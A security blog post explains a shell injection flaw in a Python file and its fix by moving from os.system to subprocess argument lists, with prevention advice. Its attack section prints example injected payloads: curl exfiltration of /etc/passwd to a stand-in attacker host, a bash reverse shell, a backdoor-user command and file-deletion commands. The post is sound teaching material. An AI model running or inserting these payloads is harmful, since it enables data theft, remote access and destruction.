Back to Blog
high SEVERITY7 min read

Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

A high-severity shell injection vulnerability was discovered and patched in `artbox/romtiles.py`, where unsanitized user-controlled input was passed directly to `os.system()` via an f-string, allowing attackers to execute arbitrary operating system commands. The fix replaces the dangerous `os.system()` calls with the safer `subprocess` module, which properly separates command arguments from user data. This type of vulnerability is a textbook example of why input sanitization and safe API usage a

O
By orbisai0security
May 11, 2026
#security#shell-injection#python#command-injection#os-system#subprocess#secure-coding

Shell Injection via os.system: How Unsanitized Input Becomes a Command Execution Nightmare

Introduction

Imagine handing a stranger a sticky note that says "please run this errand for me" — and then discovering they rewrote the note to say "run this errand and empty my bank account." That's essentially what a shell injection vulnerability does to your server.

In a recent security patch to artbox/romtiles.py, a critical vulnerability was identified and fixed: user-controlled input was being embedded directly into shell commands via Python's os.system() function, with no sanitization, quoting, or escaping. The result? Any attacker who could influence the pattern variable could execute arbitrary operating system commands on the host machine — on both Unix and Windows platforms.

This post breaks down exactly what went wrong, how it could be exploited, and what every Python developer should do to avoid this class of vulnerability in their own code.


The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted data without properly sanitizing it first. When the shell interprets that command, it doesn't know the difference between the intended command and the injected payload — it just runs everything.

This vulnerability is closely related to SQL injection in concept: both arise when data is treated as code.

What Happened in romtiles.py?

At lines 174 and 176 of artbox/romtiles.py, the code made calls like this:

# VULNERABLE CODE (before fix)
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")

Here, pattern is a variable — potentially derived from a filename, directory path, or configuration value supplied by a user. It is embedded directly into a shell command string using an f-string, with no escaping, quoting, or validation.

This means the shell receives the entire string as a command to interpret, metacharacters and all.

How Could It Be Exploited?

Shell metacharacters like ;, |, &, $(...), and backticks have special meaning to the shell. An attacker who can control the pattern variable can inject these characters to chain additional commands.

Example attack scenarios:

Unix/Linux:

# Attacker-controlled input:
pattern = "tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)"

# Resulting shell command:
some_command tiles; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

The shell executes some_command tiles first, then — because of the semicolon — executes the curl command, exfiltrating the contents of /etc/passwd to an attacker-controlled server.

Windows (cmd.exe):

REM Attacker-controlled input:
pattern = "tiles & del /F /S /Q C:\important_data"

REM Resulting shell command:
some_command tiles & del /F /S /Q C:\important_data

Other dangerous payloads:

# Reverse shell
pattern = "tiles; bash -i >& /dev/tcp/attacker.com/4444 0>&1"

# Create a backdoor user
pattern = "tiles; useradd -m -p $(openssl passwd -1 hacked) backdoor"

# Ransomware-style destruction
pattern = "tiles; find / -name '*.py' -exec rm -f {} +"

What's the Real-World Impact?

The consequences of a successful shell injection attack are severe:

  • 🔴 Remote Code Execution (RCE): Full control over the host system
  • 🔴 Data Exfiltration: Sensitive files, credentials, and secrets stolen
  • 🔴 Lateral Movement: The compromised server becomes a launchpad for attacking internal systems
  • 🔴 Persistence: Attackers can install backdoors, cron jobs, or malware
  • 🔴 Denial of Service: Critical files or processes can be destroyed

This vulnerability is rated CRITICAL for good reason. A single exploitable input field can hand an attacker the keys to your entire infrastructure.


The Fix

What Changed?

The fix replaces os.system() with Python's subprocess module — specifically using argument lists rather than shell strings. This is the idiomatic, safe way to run external commands in Python.

# BEFORE: Vulnerable — shell interprets the entire string
import os
os.system(f"some_command {pattern}")
os.system(f"another_command {pattern}")
# AFTER: Safe — subprocess separates command from arguments
import subprocess
subprocess.run(["some_command", pattern], check=True)
subprocess.run(["another_command", pattern], check=True)

Why Does This Fix the Problem?

The critical difference is how the operating system receives the command:

Approach How It Works Shell Involved?
os.system(f"cmd {pattern}") Passes a single string to /bin/sh -c ✅ Yes — dangerous!
subprocess.run(["cmd", pattern]) Passes an argument array directly to execve() ❌ No — safe!

When you use subprocess.run() with a list of arguments (and shell=False, which is the default), Python bypasses the shell entirely. The operating system's execve() syscall receives each argument as a separate, discrete value. There is no shell to interpret metacharacters, so ;, |, &, and $() are treated as literal characters — not special instructions.

An attacker's payload of "tiles; rm -rf /" would simply be passed as a single argument string to the command, which would likely just fail to find a file with that name. No shell. No injection. No exploitation.

Additional Safety with check=True

The check=True parameter is a bonus improvement: it raises a subprocess.CalledProcessError exception if the command returns a non-zero exit code. This prevents silent failures and makes error handling explicit, improving both security and reliability.

import subprocess

try:
    subprocess.run(["some_command", pattern], check=True)
except subprocess.CalledProcessError as e:
    # Handle the error properly
    logger.error(f"Command failed with return code {e.returncode}")
    raise

Prevention & Best Practices

1. Never Use os.system() with User Input

os.system() is a legacy function that always invokes a shell. Treat it as deprecated for any use case involving dynamic input.

# ❌ Never do this
import os
os.system(f"convert {user_filename} output.png")

# ✅ Always do this
import subprocess
subprocess.run(["convert", user_filename, "output.png"], check=True)

2. Always Use subprocess with Argument Lists

When using subprocess, always pass a list of arguments. Never use shell=True with untrusted input.

# ❌ Still vulnerable — shell=True re-introduces the problem
subprocess.run(f"convert {user_filename} output.png", shell=True)

# ✅ Safe — shell=False is the default
subprocess.run(["convert", user_filename, "output.png"])

3. Validate and Allowlist Input

Even with subprocess, validate inputs before use:

import re
import subprocess

def process_pattern(pattern: str) -> None:
    # Allowlist: only alphanumeric characters, hyphens, underscores, and dots
    if not re.match(r'^[a-zA-Z0-9_\-\.]+$', pattern):
        raise ValueError(f"Invalid pattern: {pattern!r}")

    subprocess.run(["some_command", pattern], check=True)

4. Apply the Principle of Least Privilege

Ensure the process running your application has only the permissions it needs. Even if an attacker achieves RCE, limited permissions reduce the blast radius.

# Run your application as a dedicated, low-privilege user
useradd --system --no-create-home appuser
su -s /bin/bash appuser -c "python app.py"

5. Use Static Analysis Tools

Integrate security scanners into your CI/CD pipeline to catch these issues automatically:

  • Bandit — Python-specific security linter
    bash pip install bandit bandit -r ./artbox/
  • Semgrep — Powerful pattern-based static analysis
    bash semgrep --config=p/python-security .
  • Safety — Checks Python dependencies for known vulnerabilities

6. Code Review Checklist

When reviewing Python code that runs external commands, ask:

  • [ ] Is os.system() being used? → Replace with subprocess
  • [ ] Is subprocess called with shell=True? → Remove it
  • [ ] Is any part of the command string derived from user input? → Use argument lists
  • [ ] Is the input validated against an allowlist before use?
  • [ ] Is error handling in place for command failures?

Security Standards & References

This vulnerability maps to well-known security standards:


Conclusion

The vulnerability fixed in artbox/romtiles.py is a perfect illustration of how a small coding decision — using os.system() with an f-string instead of subprocess with an argument list — can have catastrophic security consequences. The fix is elegant in its simplicity: one import change and one API change, and the entire attack surface disappears.

Key takeaways:

  1. os.system() + user input = shell injection waiting to happen. Avoid it.
  2. subprocess.run(["cmd", arg1, arg2]) is the safe, modern alternative. Use it.
  3. Never use shell=True with untrusted data. The shell is the attack surface.
  4. Validate inputs with allowlists, even when using safe APIs.
  5. Automate security scanning in your CI/CD pipeline to catch these issues before they reach production.

Security vulnerabilities like this one don't require sophisticated exploits — they just require a developer not knowing about a dangerous API. Sharing knowledge like this is how we collectively raise the bar for software security.

Stay curious, stay vigilant, and keep your shells out of reach of your users. 🔐


This vulnerability was identified and patched as part of an automated security review. Automated security tooling, combined with developer education, is one of the most effective ways to prevent vulnerabilities from reaching production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #6

Related Articles

high

How Missing Checksum Validation Opens the Door to Supply Chain Attacks

A high-severity vulnerability was discovered in a web application's file download pipeline where the `nodejs-file-downloader` dependency was used without any cryptographic verification of downloaded content. Without checksum or signature validation, attackers positioned between the server and client could silently swap legitimate files for malicious ones. This fix closes that window by enforcing integrity verification before any downloaded content is trusted or executed.

high

Unauthenticated Debug Endpoints Expose Firmware Internals: A High-Severity Fix

A high-severity vulnerability was discovered and patched in firmware package handling code, where debug and monitoring endpoints were left exposed without any authentication, authorization, or IP restrictions. These endpoints leaked sensitive application internals including thread states, database connection pool statistics, and potentially sensitive data stored in thread-local storage. Left unpatched, this flaw could allow any unauthenticated attacker to map out application internals and pivot

high

Heap Buffer Overflow in SSL/TLS: When Proto Length Goes Wrong

A critical heap buffer overflow vulnerability was discovered and patched in `src/ssl.c`, where improper bounds checking during ALPN/NPN protocol list construction could allow an attacker to corrupt heap memory and potentially execute arbitrary code. The fix addresses both the missing capacity validation and a dangerous integer overflow in size arithmetic that could lead to undersized allocations followed by out-of-bounds writes. Understanding this class of vulnerability is essential for any deve